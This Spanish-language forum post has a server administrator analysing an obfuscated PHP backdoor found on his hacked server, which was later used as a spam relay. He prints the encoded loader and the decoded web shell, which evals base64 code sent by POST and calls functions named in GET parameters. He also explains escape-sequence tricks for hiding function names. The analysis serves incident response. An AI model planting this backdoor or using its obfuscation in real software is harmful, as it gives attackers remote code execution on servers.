elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  Unicode, eval, php hack tool, sql injection?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Unicode, eval, php hack tool, sql injection?  (Leído 3,109 veces)
Bud4

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Unicode, eval, php hack tool, sql injection?
« en: 23 Febrero 2012, 20:14 pm »

Hola:

Hace poco hackieron un server que administro, no estoy seguro como obtuvieron los password de un usuario ftp del sistema (probablemente un gusano en el pc del usuario), y bueno me puse a investigar no fue gran cosa aun asi me intereso por que el codigo es en php y encontre raro que eval pudiese ejecutar una funcion escrita con codigo unicode.

Código
  1. <?php //38200e90f44c94cb0073484daa4de93a
  2. $_=
  3. //ppZiAAS8dDJF9Q*(#_+@#TWyJ
  4. 'Ci8qKgogKiBAdmVyc2lvbiAyLjUKICogCiAqLwppZiAoaXNzZXQoJF9QT1NUWyJhY3Rpb24iXSkpCnsKICAgICAgICBzd2l0Y2ggKCRfUE9TVFsiYWN0aW9uIl0pCiAgICAgICAgewogICAgICAgICAgICAgICAgY2FzZSAidGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QoKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJyZWd1bGFyX3Rlc3QiOgogICAgICAgICAgICAgICAgICAgICAgICByZWd1bGFyX3Rlc3QoKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJtYWlsIjoKICAgICAgICAgICAgICAgICAgICAgICAgc2VuZCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmlmIChjb3VudCgkX0dFVCkgPiAwKQp7CiAgICAgICAgZm9yZWFjaCAoJF9HRVQgYXMgJGlkID0+ICRjb2RlKQogICAgICAgIHsKICAgICAgICAgICAgICAgIGlmICgkaWQgPT0gImlkIikKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNvZGUoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuOwp9CgpmdW5jdGlvbiB0ZXN0KCkKewogICAgICAgICRlbmNvZGVkX2RhdGEgPSAiIjsKCiAgICAgICAgJGRhdGFbInZlcnNpb24iXSA9IHBocHZlcnNpb24oKTsKICAgICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbIlNFUlZFUl9TT0ZUV0FSRSJdKSkKICAgICAgICB7CiAgICAgICAgICAgICAgICAkZGF0YVsic2VydmVyYXBpIl0gPSAkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgICAgICAkZGF0YVsic2VydmVyYXBpIl0gPSAiTm90IEF2YWlsYWJsZSI7CiAgICAgICAgfQogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgcGhwaW5mbyg4KTsKICAgICAgICAkZGF0YVsibW9kdWxlcyJdID0gb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgb2JfY2xlYW4oKTsKICAgICAgICAkZGF0YVsiZXh0X2Nvbm5lY3QiXSA9IGZvcGVuKCJodHRwOi8vd3d3LnlhLnJ1LyIsICJyIikgPyBUUlVFIDogRkFMU0U7CiAgICAgICAgJHNlcmlhbGl6ZXNfZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9IGJhc2U2NF9lbmNvZGUoJHNlcmlhbGl6ZXNfZGF0YSk7CiAgICAgICAgZWNobyAkX1BPU1RbInRlc3RfbWVzc2FnZSJdIC4gJGVuY29kZWRfZGF0YTsKfQoKZnVuY3Rpb24gcmVndWxhcl90ZXN0KCkKewogICAgICAgIGVjaG8gJF9QT1NUWyJ0ZXN0X21lc3NhZ2UiXTsKfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKICAgICAgCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K';
  5. //ppZiAAS8dDJF9Q*(#_+@#TWyJ
  6. $__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));
  7. ?>
  8.  

La primera sentencia del eval en estos casos deberia ser algun tipo ofuscacion compresion o hash, probe con base64_decode y al tercer paso pude ver el codigo

Código
  1. $code = base64_decode($_); eval($code);
  2.  
  3. /**
  4.  * @version 2.5
  5.  *
  6.  */
  7. if (isset($_POST["action"]))
  8. {
  9.        switch ($_POST["action"])
  10.        {
  11.                case "test":
  12.                        test();
  13.                        break;
  14.                case "regular_test":
  15.                        regular_test();
  16.                        break;
  17.                case "mail":
  18.                        send();
  19.                        break;
  20.                default:
  21.                        break;
  22.        }
  23.        return;
  24. }
  25.  
  26. if (count($_GET) > 0)
  27. {
  28.        foreach ($_GET as $id => $code)
  29.        {
  30.                if ($id == "id")
  31.                {
  32.                        $code();
  33.                }
  34.        }
  35.        return;
  36. }
  37.  
  38. function test()
  39. {
  40.        $encoded_data = "";
  41.  
  42.        $data["version"] = phpversion();
  43.        if (isset($_SERVER["SERVER_SOFTWARE"]))
  44.        {
  45.                $data["serverapi"] = $_SERVER["SERVER_SOFTWARE"];
  46.        }
  47.        else
  48.        {
  49.                $data["serverapi"] = "Not Available";
  50.        }
  51.        ob_start();
  52.        phpinfo(8);
  53.        $data["modules"] = ob_get_contents();
  54.        ob_clean();
  55.        $data["ext_connect"] = fopen("http://www.ya.ru/", "r") ? TRUE : FALSE;
  56.        $serializes_data = serialize($data);
  57.        $encoded_data = base64_encode($serializes_data);
  58.        echo $_POST["test_message"] . $encoded_data;
  59. }
  60.  
  61. function regular_test()
  62. {
  63.        echo $_POST["test_message"];
  64. }
  65.  
  66. function send()
  67. {
  68.        $code = base64_decode($_POST["projectcode"]);
  69.  
  70.        eval($code);
  71.        //return;
  72. }
  73.  
  74.  
  75.  

en cuestion esto es lo que me llama la atencion que base64_decode esta expresado como unicode
"\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"

ademas de que en php se puede escribir como BaSe64_DecoDE o cualquier combiancion de mayusculas y minusculas tambien se pueden cambiar por ejemplo el \x62 por \162 (no se como interpreta php o cual es la diferencia entre x y 1)

tambien que se pueden intercalar caracteres normales por ejemplo "\x62"."a"."\x73"
y tambien como en el caso del numero 4 que viene despues de \6 que solo sirve en el caso de los numeros.

con esta pequenia ofuscacion en unicode se me ocurren varias cosas que se podrian hacer ya que no es intuitivo para muchos, les comparto lo que investigue y tambien me gustaria saber mas de unicode para testear otros tipos sql injection.

Saludos!

Nota: el hack fue solo un relay the spam con troyanos adjuntos en algunos casos.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Dwarf's Hack-Tool 1.0] Espero críticas y sugerencias :P
Programación Visual Basic
Spider-Net 6 2,151 Último mensaje 27 Agosto 2007, 16:19 pm
por ranslsad
SQL Injection Tool « 1 2 ... 5 6 »
Nivel Web
[Zero] 50 37,910 Último mensaje 1 Diciembre 2011, 09:49 am
por Rikus87
Tool: Sql injection Helper By fede_cp « 1 2 »
Nivel Web
fede_cp 14 7,952 Último mensaje 20 Septiembre 2009, 06:47 am
por Castg!
[Tool] Sql injection Helper 2.0 « 1 2 »
Nivel Web
fede_cp 15 11,576 Último mensaje 29 Noviembre 2009, 20:21 pm
por Castg!
evitar XSS en eval() « 1 2 »
Nivel Web
nØFi# 11 10,064 Último mensaje 22 Noviembre 2009, 16:25 pm
por sirdarckcat
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines